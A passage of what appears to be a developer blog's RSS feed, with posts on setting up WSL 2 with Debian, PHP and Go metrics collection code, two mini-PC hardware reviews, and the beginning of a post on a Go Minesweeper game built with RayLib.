If running Virtualbox or VMWare causes too much switching between environments
then WSL might be a solution. In this post I&amp;rsquo;ll show how to install WSL 2 with
Debian 12 as the Linux distribution. First we show which Linux distributions you
can choose from, by running (from the command prompt):&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>So, maybe your employer want you to use Windows. Obviously you still want to use
Linux as you want to run whatever operating system your production servers run.
If running Virtualbox or VMWare causes too much switching between environments
then WSL might be a solution. In this post I&rsquo;ll show how to install WSL 2 with
Debian 12 as the Linux distribution. First we show which Linux distributions you
can choose from, by running (from the command prompt):</p>
<pre><code>wsl --list --online
</code></pre>
<p>Output is:</p>
<pre><code>The following is a list of valid distributions that can be installed.
The default distribution is denoted by '*'.
Install using 'wsl --install -d &lt;Distro&gt;'.

  NAME                            FRIENDLY NAME
* Ubuntu                          Ubuntu
  Debian                          Debian GNU/Linux
  kali-linux                      Kali Linux Rolling
  Ubuntu-18.04                    Ubuntu 18.04 LTS
  Ubuntu-20.04                    Ubuntu 20.04 LTS
  Ubuntu-22.04                    Ubuntu 22.04 LTS
  Ubuntu-24.04                    Ubuntu 24.04 LTS
  OracleLinux_7_9                 Oracle Linux 7.9
  OracleLinux_8_7                 Oracle Linux 8.7
  OracleLinux_9_1                 Oracle Linux 9.1
  openSUSE-Leap-15.6              openSUSE Leap 15.6
  SUSE-Linux-Enterprise-15-SP5    SUSE Linux Enterprise 15 SP5
  SUSE-Linux-Enterprise-15-SP6    SUSE Linux Enterprise 15 SP6
  openSUSE-Tumbleweed             openSUSE Tumbleweed
</code></pre>
<p>If you want to install Debian, you run:</p>
<pre><code>wsl --install --distribution Debian
</code></pre>
<p>Output:</p>
<pre><code>Installing: Virtual Machine Platform
Virtual Machine Platform has been installed.
Installing: Windows Subsystem for Linux
Windows Subsystem for Linux has been installed.
Installing: Windows Subsystem for Linux
Windows Subsystem for Linux has been installed.
Installing: Debian GNU/Linux
Debian GNU/Linux has been installed.
</code></pre>
<p>Now we have to restart Windows to enable WSL (v2). Then we see:</p>
<pre><code>Installing, this may take a few minutes...
Please create a default UNIX user account. The username does not need to match your Windows username.
For more information visit: https://aka.ms/wslusers
Enter new UNIX username: maurits
Adding user `maurits' ...
Adding new group `maurits' (1000) ...
Adding new user `maurits' (1000) with group `maurits (1000)' ...
Creating home directory `/home/maurits' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
No password has been supplied.
New password:
Retype new password:
No password has been supplied.
New password:
Retype new password:
No password has been supplied.
passwd: Authentication token manipulation error
passwd: password unchanged
Try again? [y/N] N
Changing the user information for maurits
Enter the new value, or press ENTER for the default
        Full Name []:
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n]
Adding new user `maurits' to supplemental / extra groups `users' ...
Adding user `maurits' to group `users' ...
</code></pre>
<p>We can see the running WSL from a command prompt:</p>
<pre><code>wsl --list -v
</code></pre>
<p>Output is:</p>
<pre><code>  NAME      STATE           VERSION
* Debian    Running         2
</code></pre>
<p>See how we didn&rsquo;t enter a password? It is not really required. Now open a
windows prompt:</p>
<pre><code>wsl -u root
</code></pre>
<p>Now type the following from within WSL to allow sudo without a password:</p>
<pre><code>echo &quot;maurits ALL=(ALL) NOPASSWD: ALL&quot; &gt;&gt; /etc/sudoers
</code></pre>
<p>Now you can exit and start the WSL again and use &ldquo;sudo&rdquo; without a password.
Install some requirements from WSL:</p>
<pre><code>sudo apt -y update &amp;&amp; sudo apt -y upgrade
sudo apt install git wget htop curl
</code></pre>
<p>Now also enable systemd (for running MariaDB for instance) by running:</p>
<pre><code>sudo nano /etc/wsl.conf
</code></pre>
<p>And in this (new) file add:</p>
<pre><code>[boot]
systemd=true
</code></pre>
<p>Download and install VS Code installer (VSCodeUserSetup-x64-1.93.1.exe) in
windows from:</p>
<pre><code>https://code.visualstudio.com/
</code></pre>
<p>And follow the installer wizard, next, next, next, finish :-)</p>
<p>Next install the &ldquo;WSL&rdquo; extension in VS Code to allow access to your Debian
environment.</p>
<p>Now restart your WSL using the following command from the windows prompt:</p>
<pre><code>wsl --shutdown
</code></pre>
<p>Now ensure you have a SSH key in your WSL by running from within WSL:</p>
<pre><code>ssh-keygen
</code></pre>
<p>Now echo the public key and add it to your Github profile:</p>
<pre><code>cat ~/.ssh/id_rsa.pub
</code></pre>
<p>Optionally install some PHP development requirements I often use:</p>
<pre><code>sudo apt install mariadb-server mariadb-client memcached php php-mysql php-memcache \
    php-zip php-intl php-mbstring php-cli php-gd php-xml php-curl php-yaml
</code></pre>
<p>After doing that you can clone a repository and start VS code from within WSL:</p>
<pre><code>git clone git@github.com:mevdschee/php-crud-api.git
cd php-crud-api
code .
</code></pre>
<p>After starting VS Code the following should appear:</p>
<pre><code>Updating VS Code Server to version ...
Removing previous installation...
Installing VS Code Server for Linux x64 ...
Downloading: 100%
Unpacking: 100%
Unpacked 1765 files and folders to ...
Looking for compatibility check script at .../bin/helpers/check-requirements.sh
Running compatibility check script
Compatibility check successful (0)
</code></pre>
<p>You may have to run the last command twice to start VS Code. Don&rsquo;t forget about
&ldquo;PHP Intelephense (by Ben Mewburn)&rdquo; and &ldquo;PHPStan (by swordev)&rdquo; extensions if you
are doing PHP development.</p>
<h3 id="adding-ram-and-cpu">Adding RAM and CPU</h3>
<p>The command &ldquo;htop&rdquo; on the WSL command-line will show the RAM and CPU usage of
the WSL VM. If you feel that there is not enough RAM or CPU threads available in
the WSL you can change the 2 CPU 4GB RAM default by making a config file in
Windows using:</p>
<pre><code>notepad.exe %UserProfile%/.wslconfig
</code></pre>
<p>And enter &ldquo;8GB&rdquo; for the memory and &ldquo;4&rdquo; for the processors (or another value):</p>
<pre><code>[wsl2]
#Limits VM memory, this can be set as whole numbers using GB or MB
memory=8GB
#Sets the VM to use a number of virtual processors
processors=4
</code></pre>
<p>Now stop the WSL using:</p>
<pre><code>wsl --shutdown
</code></pre>
<p>And start it again by clicking the nice Debian logo from the start menu to make
the configuration effective. In the Windows Task Manager you will see &ldquo;Vmmem&rdquo;
process representing the WSL machine.</p>
<p>NB: If you run WSL in Win10 pro in KVM on Linux (as I do) then set the sockets
in KVM to a maximum of 2 and increase the core count of your VM instead.</p>
<h3 id="bonus-updating-to-debian-13">Bonus: updating to Debian 13</h3>
<p>You may execute the following to upgrade from Debian 12 to Debian 13:</p>
<pre><code>sudo apt -y update
sudo apt -y upgrade
sudo apt -y dist-upgrade
sudo apt -y autoremove
sudo sed -i 's/bookworm/trixie/g' /etc/apt/sources.list
sudo apt -y update
sudo apt -y full-upgrade
sudo apt -y autoremove
</code></pre>
<p>This will take some time (5 minutes), may ask you a few questions, but should
succeed without errors.</p>
<h3 id="slow-startup-with-error">Slow startup with error</h3>
<p>It may happen that Debian starts really slow and that you encounter the
following error message:</p>
<pre><code>wsl: Failed to start the systemd user session for 'maurits'.
</code></pre>
<p>This can be solved by downgrading the WSL version to 2.5.10 as described
<a href="https://github.com/microsoft/WSL/issues/13186">here</a>.</p>
<p>Enjoy!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://learn.microsoft.com/en-us/windows/wsl/install">Microsoft - How to install Linux on Windows with WSL</a></li>
<li><a href="https://learn.microsoft.com/en-us/windows/wsl/wsl-config">Microsoft - Advanced settings configuration in WSL</a></li>
<li><a href="https://www.tomshardware.com/how-to/get-started-windows-subsystem-for-linux-windows-11">TomsHardware.com - How to Install Windows Subsystem for Linux in Windows 11</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Distributed metrics in PHP using Go and Gob</title>
      <link>https://www.tqdev.com/2024-distributed-metrics-in-php-using-go-and-gob/</link>
      <pubDate>Wed, 25 Sep 2024 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2024-distributed-metrics-in-php-using-go-and-gob/</guid>
      <description>&lt;p&gt;In the previous post I showed how to do
&lt;a href=&#34;https://tqdev.com/2024-high-frequency-metrics-in-php-using-tcp-sockets&#34;&gt;high frequency metrics in PHP with TCP sockets&lt;/a&gt;.
In this post I&amp;rsquo;ll show how to collect and combine metrics from multiple PHP
application servers. Instead of sending the log lines from each server to a
single node, the monotonically increasing counters from all PHP application
server&amp;rsquo;s metrics HTTP end-points are scraped and added up. The transfer of the
metrics is done using Go&amp;rsquo;s very efficient
&lt;a href=&#34;https://go.dev/blog/gob&#34;&gt;Gob protocol&lt;/a&gt; (over HTTP).&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In the previous post I showed how to do
<a href="https://tqdev.com/2024-high-frequency-metrics-in-php-using-tcp-sockets">high frequency metrics in PHP with TCP sockets</a>.
In this post I&rsquo;ll show how to collect and combine metrics from multiple PHP
application servers. Instead of sending the log lines from each server to a
single node, the monotonically increasing counters from all PHP application
server&rsquo;s metrics HTTP end-points are scraped and added up. The transfer of the
metrics is done using Go&rsquo;s very efficient
<a href="https://go.dev/blog/gob">Gob protocol</a> (over HTTP).</p>
<h3 id="gos-gob-protocol">Go&rsquo;s Gob protocol</h3>
<p>The Gob protocol is inspired by &ldquo;protocol buffers&rdquo; but it is strictly designed
for &ldquo;communicating between servers written in Go&rdquo; and promises to be &ldquo;much
easier to use&rdquo; and &ldquo;possibly more efficient&rdquo;.</p>
<ul>
<li>Prometheus metrics: 6 kilobytes</li>
<li>Prometheus metrics (gzipped): 1 kilobyte</li>
<li>Gob protocol: 105 bytes</li>
</ul>
<p>As you see for this specific use case it makes a lot of sense to use the Gob
protocol as it is clearly &ldquo;more efficient&rdquo; (as promised).</p>
<h3 id="much-easier-to-use">Much easier to use</h3>
<p>Gob protocol is also promised to be &ldquo;much easier to use&rdquo;. The following struct
is accessed from different go routines and therefore has a private mutex, but
otherwise it is just a struct with public members.</p>
<pre><code>type Metrics struct {
    mutex     sync.Mutex
    Counters  map[string]uint64
    Durations map[string]float64	
}
</code></pre>
<p>Here is an example for decoding an arbitrary nested struct &ldquo;m&rdquo; (type Metrics)
received over HTTP:</p>
<pre><code>response, err := http.Get(url)
m := metrics.New()
err = m.ReadGob(response)

func (m *Metrics) ReadGob(resp *http.Response) error {
    m.mutex.Lock()
    defer m.mutex.Unlock()
    return gob.NewDecoder(resp.Body).Decode(m)
}
</code></pre>
<p>And here is an example for the encoding of such struct:</p>
<pre><code>err := http.ListenAndServe(&quot;:9999&quot;, http.HandlerFunc(
    func(writer http.ResponseWriter, request *http.Request) {
        m.WriteGob(writer)
    },
))

func (m *Metrics) WriteGob(writer http.ResponseWriter) error {
    m.mutex.Lock()
    defer m.mutex.Unlock()
    return gob.NewEncoder(writer).Encode(m)
}
</code></pre>
<p>Note that there is no code change needed for supporting nested structs, maps of
structs, slices or any other Go types. The code above is implemented in the
<a href="https://pkg.go.dev/github.com/mevdschee/php-observability@v1.1.1/metrics">metrics package of php-observability</a>.</p>
<h3 id="a-network-of-metric-scrapers">A network of metric scrapers</h3>
<p>Since every PHP server logs to localhost, it will not be influenced by network
congestion. Since the aggregation is done locally it is also very fast. The
metrics are exposed in Prometheus (text) format for (human) analysis, but also
in (binary) Gob format for efficient scraping by other servers. Any installation
of the aggregation server can both expose and scrape metrics (from multiple
servers), allowing you to create a complex network of scrapers.</p>
<p>See:
<a href="https://github.com/mevdschee/php-observability">https://github.com/mevdschee/php-observability</a></p>
<h3 id="inserting-into-the-database">Inserting into the database</h3>
<p>While you can let InfluxDB or Prometheus scrape the Prometheus end-point, you
may also store the metrics in PostgreSQL (TimescaleDB) or MySQL. I started
writing a small application that scrapes Gob metrics and inserts those metrics
into the database. It creates a new table for each metric with a 30 day
retention, allowing you to keep your indexes small and your insertion speeds
high.</p>
<p>See:
<a href="https://github.com/mevdschee/metrics-db-importer">https://github.com/mevdschee/metrics-db-importer</a></p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://tqdev.com/2024-high-frequency-metrics-in-php-using-tcp-sockets">TQdev.com - High frequency metrics in PHP with TCP sockets</a></li>
<li><a href="https://go.dev/blog/gob">The Go Blog - Gobs of data</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>High frequency metrics in PHP with TCP sockets</title>
      <link>https://www.tqdev.com/2024-high-frequency-metrics-in-php-using-tcp-sockets/</link>
      <pubDate>Mon, 23 Sep 2024 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2024-high-frequency-metrics-in-php-using-tcp-sockets/</guid>
      <description>&lt;p&gt;When you are running a high traffic website you may run multiple PHP servers to
handle the load. When you want to track a performance metric (such as API or
database calls) you may need to do some high frequent logging for performance
analysis. In this blog post we present a standardized (and tested) way to do
this with minimal impact. A line logging performance may look like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;log( [metric name], [label name], [label value], [duration in seconds] )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The current implementation supports labeling each measurement with a single
label.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>When you are running a high traffic website you may run multiple PHP servers to
handle the load. When you want to track a performance metric (such as API or
database calls) you may need to do some high frequent logging for performance
analysis. In this blog post we present a standardized (and tested) way to do
this with minimal impact. A line logging performance may look like this:</p>
<pre><code>log( [metric name], [label name], [label value], [duration in seconds] )
</code></pre>
<p>The current implementation supports labeling each measurement with a single
label.</p>
<h3 id="logging-api-and-db-calls">Logging API and DB calls</h3>
<p>Here is a first practical example for a HTTP call to a REST end-point that took
less than a second:</p>
<pre><code>MetricObserver::log(&quot;api&quot;, &quot;req&quot;, &quot;GET /api/v1/users&quot;, 0.2857);
</code></pre>
<p>In case of an API you may simply instrument the router of your framework, but in
case of a database you may need to instrument the generic database class to log
the requested SQL:</p>
<pre><code>MetricObserver::log(&quot;db&quot;, &quot;sql&quot;, &quot;SELECT name FROM user WHERE id = ?&quot;, 0.014285);
</code></pre>
<p>or you may log the PHP file and line number calling the database class:</p>
<pre><code>MetricObserver::log(&quot;db&quot;, &quot;file&quot;, &quot;src/Controller/UserController.php@L123&quot;, 0.014285);
</code></pre>
<p>In this last case you may find these values by using the
&ldquo;<code>debug_backtrace(2,15)</code>&rdquo; call. It returns &ldquo;frames&rdquo; that contain &ldquo;file&rdquo; (full
path) and &ldquo;line&rdquo; (number). Which frame is the most relevant frame (and how to
find that frame) is dependent on the PHP framework you use. It is important that
you only search the last 10-15 stack frames, as indicated by the second
parameter of &ldquo;<code>debug_backtrace</code>&rdquo; to avoid high costs. You may use the
&ldquo;MetricObserver::isConnected()&rdquo; function to avoid calling &ldquo;<code>debug_backtrace</code>&rdquo;
when the logging is not active.</p>
<h3 id="logging-to-a-local-tcp-socket">Logging to a local TCP socket</h3>
<p>We prefer to never store high frequency log data, therefore we ship the high
frequent log data to a metric aggregator. In the first example above, the TCP
socket (on localhost) will receive the following NDJSON when called 3 times:</p>
<pre><code>[&quot;api&quot;,&quot;req&quot;,&quot;GET /api/v1/users&quot;,0.2857]
[&quot;api&quot;,&quot;req&quot;,&quot;GET /api/v1/users&quot;,0.2857]
[&quot;api&quot;,&quot;req&quot;,&quot;GET /api/v1/users&quot;,0.2857]
</code></pre>
<p>This aggregator converts the log lines into metrics (counters and sums) with a
name (where the name also contains a label). In the first example above, the
metrics are (when called 3 times):</p>
<pre><code>api_seconds_count[req=&quot;GET /api/v1/users&quot;]: 3
api_seconds_sum[req=&quot;GET /api/v1/users&quot;]: 0.8571
</code></pre>
<p>This (text) format is introduced by Prometheus and served over a HTTP endpoint
on the &ldquo;/metrics&rdquo; path. This has become a standard as defined by the
<a href="https://openmetrics.io/">OpenMetrics specification</a>. These metrics can be
scraped every 5 seconds and are stored in new rows together with their timestamp
(a so called &ldquo;time-series&rdquo;). When your servers produce thousands of log lines
per second you now only store the metrics. It should be obvious that the size of
the metrics (even in time-series) is several magnitudes smaller than the raw log
lines (and can be controlled by the configurable scraping interval and the
number of different label values).</p>
<h3 id="high-frequency-metrics-in-php">High frequency metrics in PHP</h3>
<p>High frequency metric aggregation requires several features:</p>
<ul>
<li>Metrics must be very cheap (RAM/CPU/disk/network usage)</li>
<li>Easy to turn on/off logging in runtime (no re-deploy)</li>
<li>Well tested for stability (no bugs due to logging metrics)</li>
</ul>
<p>When logging metrics to a TCP socket on the localhost there are 2 cases:</p>
<ul>
<li>port is open (responding with an syn+ack)</li>
<li>port is closed (responding with a reset)</li>
</ul>
<p>We want our code to gracefully handle both cases, and we want the instrumented
application to be as fast as possible if there is no connected socket. therefore
we try to connect only once per second and return the connected status from the
&ldquo;MetricObserver::isConnected()&rdquo; call. You can turn off the logging of metrics by
simply stopping the metrics aggregation server (which closes the port on the
localhost).</p>
<h3 id="source-code-of-the-metricobserver">Source code of the MetricObserver</h3>
<p>Here is the PHP class you may load into your project. It is framework
independent.</p>
<pre><code>class MetricObserver
{
  public static int $port = 7777;

  private static ?Socket $socket = null;
  private static bool $connected = false;
  private static int $connectAt = 0;

  public static function isConnected(): bool
  {
    if (self::$socket === null) {
      self::$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP) ?: null;
      self::$connected = false;
    }
    if (!self::$connected) {
      $now = time();
      if (self::$connectAt != $now) {
        self::$connectAt = $now;
        self::$connected = @socket_connect(self::$socket, 'localhost', self::$port);
      }
    }
    return self::$connected;
  }

  public static function log(string $metricName, string $labelName, string $labelValue, ?float $duration = null)
  {
    if (self::isConnected()) {
      if ($duration === null) {
        $line = json_encode([$metricName, $labelName, $labelValue]);
      } else {
        $line = json_encode([$metricName, $labelName, $labelValue, (string)$duration]);
      }
      if (!@socket_write(self::$socket, $line . &quot;\n&quot;, strlen($line) + 1)) {
        self::$socket = null;
        self::$connected = false;
      }
    }
  }
}
</code></pre>
<p>Note that you can log to a different port using:</p>
<pre><code>MetricObserver::$port = 8888;
</code></pre>
<p>NB: This is a static variable in the class.</p>
<h3 id="measurement-performance">Measurement performance</h3>
<p>The aggregator implementation (in Go) is tested with up to 1 million logged
metrics per second from over 1000 processes and serves gzipped metrics in text
format. I also did some measurements to find that logging to a closed port was
about 13 times cheaper than logging to an open port. Also logging to a closed
port was cheaper than formatting a float with &ldquo;<code>sprintf()</code>&rdquo;, see:</p>
<pre><code>MetricObserver::log() to a closed port:
0.09 usec
MetricObserver::log() to an open port:
1.18 usec
sprintf('%.2f', 3.14) for comparison:
0.11 usec
</code></pre>
<p>These tests can be run from the &ldquo;<code>perf.php</code>&rdquo; file that included in the project.
Check out the Github link below.</p>
<p><a href="https://github.com/mevdschee/php-observability">https://github.com/mevdschee/php-observability</a></p>
<p><a href="https://tqdev.com/2024-distributed-metrics-in-php-using-go-and-gob">Read more&hellip;</a></p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://tqdev.com/2024-distributed-metrics-in-php-using-go-and-gob">TQdev.com - Distributed metrics in PHP using Go and Gob</a></li>
<li><a href="https://openmetrics.io/">The OpenMetrics project - Creating a standard for exposing metrics data</a></li>
<li><a href="https://www.php.net/manual/en/function.debug-backtrace.php">PHP.net - debug_backtrace - Manual</a></li>
<li><a href="https://www.etsy.com/codeascraft/measure-anything-measure-everything">Etsy Engineering - Measure Anything, Measure Everything</a></li>
<li><a href="https://go.dev/blog/gob">The Go Blog - Gobs of data</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>GMKtec NucBox G5: a tiny Linux PC</title>
      <link>https://www.tqdev.com/2024-gmktec-nucbox-g5-a-tiny-linux-pc/</link>
      <pubDate>Sun, 01 Sep 2024 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2024-gmktec-nucbox-g5-a-tiny-linux-pc/</guid>
      <description>&lt;p&gt;I don&amp;rsquo;t like laptops, neither to own nor to work on. They are very costly, are
hard to repair or upgrade and I get neck and back pain from working on them. I
love to work at places where the desk is (properly) equipped with
(height-adjustable) monitor, keyboard and mouse. Most companies provide laptops
to use on such desk setups for maximum flexibility, but I would rather have a
GMKtec NucBox G5.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I don&rsquo;t like laptops, neither to own nor to work on. They are very costly, are
hard to repair or upgrade and I get neck and back pain from working on them. I
love to work at places where the desk is (properly) equipped with
(height-adjustable) monitor, keyboard and mouse. Most companies provide laptops
to use on such desk setups for maximum flexibility, but I would rather have a
GMKtec NucBox G5.</p>
<h3 id="specifications">Specifications</h3>
<p>A GMKtec NucBox G5 is a very tiny PC that is powered over USB-C (12v Power
Delivery) and has a low power N97 quad core CPU and 12GB DDR5 RAM and a 512GB
SSD. It is so small that it fits in the palm of your hand, is as fast as most
entry level laptops, is super cheap (170 EUR), has great connectivity and runs
Linux flawlessly. It is a great little PC for some light programming and
office/web work in general.</p>
<h3 id="nucbox-advantages">NucBox advantages</h3>
<ul>
<li>Very small: portable, no laptop bag required</li>
<li>Low cost: less theft/robbery chance, have multiple</li>
<li>Ergonomics: good posture/health</li>
</ul>
<h3 id="laptop-advantages">Laptop advantages</h3>
<ul>
<li>Power outage: laptop can work on the battery</li>
<li>Presentation: take the laptop to the meeting room</li>
<li>Travel: work on the road (public transport)</li>
</ul>
<h3 id="conclusion">Conclusion</h3>
<p>I like a small, quiet and powerful computers. While the GMKtec NucBox G5 is
super-small and also quiet, it is not very powerful. While it is by no means
slow, it is limited in possibilities: the soldered RAM modules and soldered low
powered CPU make that it can&rsquo;t be upgraded. It is also not a workstation on
which you can run multiple VMs conveniently (for that check out the
<a href="https://tqdev.com/2024-asrock-deskmini-x600-sff-linux-pc">Deskmini X600 review</a>).
But the same can be said about most entry level laptops and the super low price
(170 EUR), the low idle power usage (8W) and many full size ports (gigabit
ethernet, 2x HDMI, 3x USB) make up for a lot. Oh&hellip; and it runs Linux Mint 22
super smooth!</p>
<p>I love it, enjoy!</p>
<h3 id="disclaimer">Disclaimer</h3>
<p>This post was not requested nor sponsored in any way. I&rsquo;m a hardware (and Linux)
enthusiast that loves to share. Enjoy!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.gmktec.com/products/intel-alder-lake-n97-mini-pc-nucbox-g5">GMKtec NucBox G5</a></li>
<li><a href="https://www.techradar.com/computing/gmktec-nucbox-g5-mini-pc-review">GMKtec NucBox G5 mini PC review</a></li>
<li><a href="https://www.youtube.com/watch?v=YUkrrSlBBQg">YouTube - Hubwood - A Tiny, Cheap and Versatile Mini-PC!</a></li>
<li><a href="https://www.youtube.com/watch?v=cZd73SO6Jxg">YouTube - Robtech - The Smallest Mini PC of 2024 - GMKtec G5 Review</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>ASRock Deskmini X600 SFF Linux PC</title>
      <link>https://www.tqdev.com/2024-asrock-deskmini-x600-sff-linux-pc/</link>
      <pubDate>Thu, 15 Aug 2024 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2024-asrock-deskmini-x600-sff-linux-pc/</guid>
      <description>&lt;p&gt;I am upgrading my
&lt;a href=&#34;https://tqdev.com/2021-deskmini-x300-sff-linux-pc&#34;&gt;2021 Deskmini X300&lt;/a&gt; to a
X600
(&lt;a href=&#34;https://smallformfactor.net/reviews/asrocks-x600-deskmini-finally-again/&#34;&gt;finally&amp;hellip;&lt;/a&gt;).
The new machine has an AMD Ryzen 7 8700G instead of a 5700G CPU. It has 64GB
DDR5 at 5600MHz instead of DDR4 at 3200MHz. I have the AM5 (instead of AM4)
model of the Noctua low profile CPU cooler (with fan duct) and installed the
newest Samsung 990 Pro 2TB NVMe drive. Like previous build it is super fast and
very quiet. I run Linux Mint 22 and it works great, I&amp;rsquo;m very pleased with the
results!&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I am upgrading my
<a href="https://tqdev.com/2021-deskmini-x300-sff-linux-pc">2021 Deskmini X300</a> to a
X600
(<a href="https://smallformfactor.net/reviews/asrocks-x600-deskmini-finally-again/">finally&hellip;</a>).
The new machine has an AMD Ryzen 7 8700G instead of a 5700G CPU. It has 64GB
DDR5 at 5600MHz instead of DDR4 at 3200MHz. I have the AM5 (instead of AM4)
model of the Noctua low profile CPU cooler (with fan duct) and installed the
newest Samsung 990 Pro 2TB NVMe drive. Like previous build it is super fast and
very quiet. I run Linux Mint 22 and it works great, I&rsquo;m very pleased with the
results!</p>
<h3 id="better-specifications">Better specifications</h3>
<p>This build has a 4.2 GHz (5.1 GHz turbo) octa core instead of a 3.8Ghz, (4.8GHz
turbo) octa core CPU (8700G vs. 5700G). It has a 7000 MB/s 2TB PCIe 4.0 based
NVMe instead of a 3500 MB/s 2TB disk (Samsung 990 Pro 2TB NVMe vs. Samsung 970
EVO Plus 2TB).</p>
<pre><code> 219 EUR - Asrock DeskMini X600 - SFF barebone
 194 EUR - Kingston DDR5 SODIMM FURY Impact 2x32GB 5600MHz - Memory
 180 EUR - Samsung 990 Pro 2TB NVMe - Solid state drive
 268 EUR - AMD Ryzen 7 8700G processor - Processor
  65 EUR - Noctua NH-L9a-AM5 chromax.black - CPU cooler
  13 EUR - Noctua NA-FD1 - Fan Duct Kit
--------
 939 EUR (including VAT)
</code></pre>
<p>NB: The above prices are based on the offering of Dutch web-shops for PC parts,
such as &ldquo;Megekko&rdquo;, &ldquo;Azerty&rdquo; and &ldquo;Alternate&rdquo;, at the time of writing of this
post.</p>
<h3 id="use-case">Use case</h3>
<p>I like a small, silent and powerful computer to work on. The small (work) PC
sits nicely on my desk and operates super quiet even under (heavy) load. The
upgrade to this new specification promises faster graphics, compute, memory and
disk speeds and this is clearly noticeable when gaming and when running
(Windows) VMs. When browsing the web I&rsquo;ve also got the feeling that everything
is a little snappier. This was not negatively impacted by the power usage
reductions I applied (read on). There is an optional WiFi kit for the X600, but
I recommend using a USB dongle.</p>
<h3 id="reducing-temperatures">Reducing temperatures</h3>
<p>To reduce temperatures I don&rsquo;t use the cooler that came with the X600 nor the
cooler that came with the 8700G. I bought the Noctua NH-L9a-AM5 cooler that has
the optimal performance for this machine. Also note that I installed a Noctua
NA-FD1 fan duct to ensure that the cooler doesn&rsquo;t circulate air, but blows fresh
air from outside the case over the CPU. Note that temperatures are great with
the RAM operating at 5600Mhz on 1.1v (XMP enabled), but I&rsquo;ve found that
temperatures were really bad with more aggressive XMP profiles.</p>
<h3 id="limiting-power-usage">Limiting power usage</h3>
<p>Idle power is around 10W on the Linux desktop (measures on the wall with a
kill-a-watt clone) which was surprisingly low (and makes me very happy). I had
to do several adjustments in the BIOS (that I also updated to the latest
version) to limit the peak power usage. I did set the Fast PPT (boost) to 55W
(55000) and the boost time (called &ldquo;Slow Time&rdquo;) to 10 seconds and I set the Slow
PPT (average) to 35W (35000). With a silent fan curve on the CPU fan and
undervolting with 20 millivolts (with PBO enabled) the fan does not spin up even
when put under an synthetic load (cpu stress test) for several minutes, peaking
to 75W on the wall. I disabled performance mode in the BIOS to be sure as I use
the 120W power brick that came with the X600 (a nicer smaller power brick than
the X300 one). I tried the standby/suspend of the machine and even that worked
great without modifications.</p>
<h3 id="disclaimer">Disclaimer</h3>
<p>This post was not requested nor sponsored in any way. I&rsquo;m a hardware (and Linux)
enthusiast that loves to share. Enjoy!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.asrock.com/Nettop/AMD/DeskMini%20X600%20Series/index.asp">ASRock - DeskMini X600 Series</a></li>
<li><a href="https://www.youtube.com/watch?v=57voVXMWjW8">Youtube - Noctua NA-FD1 Installation Guide</a></li>
<li><a href="https://smallformfactor.net/reviews/asrocks-x600-deskmini-finally-again/">SFF.Network: ASRock’s X600 DeskMini - Finally - Again</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Minesweeper written in Go using RayLib</title>
      <link>https://www.tqdev.com/2024-minesweeper-written-in-go-using-raylib/</link>
      <pubDate>Mon, 15 Jul 2024 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2024-minesweeper-written-in-go-using-raylib/</guid>
      <description>&lt;p&gt;In April I wrote
&lt;a href=&#34;https://tqdev.com/2024-minesweeper-in-go-using-fyne&#34;&gt;Fyne Mines (Minesweeper in Go using Fyne)&lt;/a&gt;
and I&amp;rsquo;m very happy with the release on the
&lt;a href=&#34;https://apps.fyne.io/category/games&#34;&gt;Fyne Games page&lt;/a&gt;. When further
investigating cross platform game development (in Go) I ran into the RayLib
engine (and it&amp;rsquo;s Go bindings). During the holidays I decided to recreate my
minesweeper game using RayLib to see how that would perform and how it&amp;rsquo;s
development in Go would compare to Ebiten and Fyne.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In April I wrote
<a href="https://tqdev.com/2024-minesweeper-in-go-using-fyne">Fyne Mines (Minesweeper in Go using Fyne)</a>
and I&rsquo;m very happy with the release on the
<a href="https://apps.fyne.io/category/games">Fyne Games page</a>. When further
investigating cross platform game development (in Go) I ran into the RayLib
engine (and it&rsquo;s Go bindings). During the holidays I decided to recreate my
minesweeper game using RayLib to see how that would perform and how it&rsquo;s
development in Go would compare to Ebiten and Fyne.</p>
<p>Source code:
<a href="https://github.com/mevdschee/raylib-go-mines">https://github.com/mevdschee/raylib-go-mines</a></p>
<h3 id="developer-experience">Developer experience</h3>
<p>Raylib uses OpenGL for rendering 2D and 3D and this results in very high
performance graphics. RayLib has a very nice and clean API. RayLib includes
RayGui and I used that for the buttons and the little menu at the start of the
game. I tried compiling with RayGui 5.0.0, which required wayland (which could
be disabled with the &ldquo;x11&rdquo; build tag), but ended up using RayGui 3.5.0 as I
didn&rsquo;t need a complex GUI.</p>
<h3 id="cross-compiling">Cross compiling</h3>
<p>Cross-platform support is available. You can compile for Windows on Linux is
with the MinGW toolset. I tried to run the resulting Windows executable under
Wine and succeeded. I even added some resource data (icon and such) to the
resulting Windows executable. I used the winres (go command line) tool for that
(see:
<a href="https://github.com/tc-hib/go-winres">https://github.com/tc-hib/go-winres</a>). I
also wrote a Makefile to create both the Windows and Linux (AMD64) executables
from the latest Git tag.</p>
<h3 id="conclusion">Conclusion</h3>
<p>If you are building a small (full screen) game, then RayLib may be the optimal
choice. It offers a simple and high performance OpenGL abstraction across
